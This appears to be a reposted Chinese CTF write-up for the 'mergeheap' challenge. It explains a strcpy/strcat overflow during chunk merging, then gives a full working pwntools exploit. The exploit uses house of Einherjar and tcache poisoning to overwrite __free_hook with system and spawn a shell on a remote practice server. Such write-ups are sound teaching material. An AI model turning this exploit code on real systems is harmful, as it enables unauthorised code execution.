mergeheap
程序员文章站
2022-05-15 22:09:46
...
mergeheap
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,在合并的时候,存在溢出,strcpy、strcat可能会将下一个chunk的size也拷贝过来,从而可以溢出修改下一个chunk的size。
并且,由于merge的时候使用的是strcpy、strcat,遇到\0字符会截断,因此当我们写64位地址数据的时候,需要从最后一个开始写,前面全部用不截断的字符填充。依次从后往前完成64位数据的布置。通过伪造chunk,利用house of Einherjar,形成overlap chunk后,修改tcache bin chunk的next指针,达到任意地址分配。
#coding:utf8
from pwn import *
#sh = process('./mergeheap')
sh = remote('node3.buuoj.cn',29551)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
system_s = libc.sym['system']
def add(size,content):
sh.sendlineafter('>>','1')
sh.sendlineafter('len:',str(size))
sh.sendafter('content:',content)
def show(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('idx:',str(index))
def delete(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('idx:',str(index))
def merge(index1,index2):
sh.sendlineafter('>>','4')
sh.sendlineafter('idx1:',str(index1))
sh.sendlineafter('idx2:',str(index2))
#0
add(0x80,'a'*0x80)
#1~7
for i in range(7):
add(0x80,'b'*0x80)
#8
add(0x80,'c'*0x80)
#9
add(0x100,'d'*0x100)
#10
add(0x80,'e'*0x80)
#11
add(0x10,'f'*0x10)
#12
add(0x10,'e'*0x10)
delete(12)
delete(11)
#泄露堆地址
add(0,'') #11
show(11)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
add(0,'') #12
#7个进tcache
for i in range(1,8):
delete(i)
#得到unsorted bin
delete(0)
#泄露地址
add(0,'') #0
show(0)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
####第一次,我们修改size######
#1
add(0x80,'b'*(0x80 - 1) + p8(0x90))
#2
add(0x88,'b'*0x88)
#9放入0x110的tcache bin
delete(9)
#3,合并后,会修改9的size
merge(2,1)
#将chunk8的index换到4来
delete(8)
add(0x80,'c'*0x80) #4
#清空chunk8某处8字节数据
def clearChunk8(offset):
for i in range(7,-1,-1):
delete(4)
add(0x80,'b'*offset + 'b'*i + '\n') #4
def writeChunk8(offset,data):
delete(4)
add(0x80,'b'*offset + p64(data)[0:7] + '\n') #4
#清空后一个堆里某处8字节数据
def clearLast(offset):
for i in range(7,-1,-1):
#将1、2重新返回tcache bin
delete(2)
delete(1)
#释放0x110的chunk
delete(3)
#1
add(0x80,'b'*offset + 'b'*i + '\n')
#2
add(0x88,'b'*0x88)
#3
merge(2,1)
def writePrevSize(data):
#将1、2重新返回tcache bin
delete(2)
delete(1)
#释放0x110的chunk
delete(3)
#1
add(0x80,'b'*(0x80 - 9) + p64(data) + '\n')
#2
add(0x88,'b'*0x88)
#3
merge(2,1)
####第二次,我们用同样的方法修改prev_size#####
#先清空prev_size处的数据
clearLast(0x80 - 9)
#现在,写prev_size
writePrevSize(0x110 + 0x80)
#我们要在chunk8里伪造一个chunk
#伪造bk
clearChunk8(0x18)
writeChunk8(0x18,heap_addr - 0x250)
#伪造fd
clearChunk8(0x10)
writeChunk8(0x10,heap_addr - 0x250)
#伪造size
clearChunk8(0x8)
writeChunk8(0x8,0x80 + 0x111)
delete(1)
delete(2)
#unsorted bin合并,形成overlap chunk
delete(10)
#0x110的chunk放入tcache bin
delete(3)
#1
add(0x70,'c'*0x70)
#与0x110的chunk重合
add(0x70,p64(free_hook_addr) + '\n')
add(0x100,'/bin/sh\x00\n') #2
#申请到free_hook处
add(0x100,p64(system_addr) + '\n')
#getshell
delete(2)
sh.interactive()
上一篇: Python 实现简单的端口扫描器
下一篇: 使用MSF反向反弹shell
推荐阅读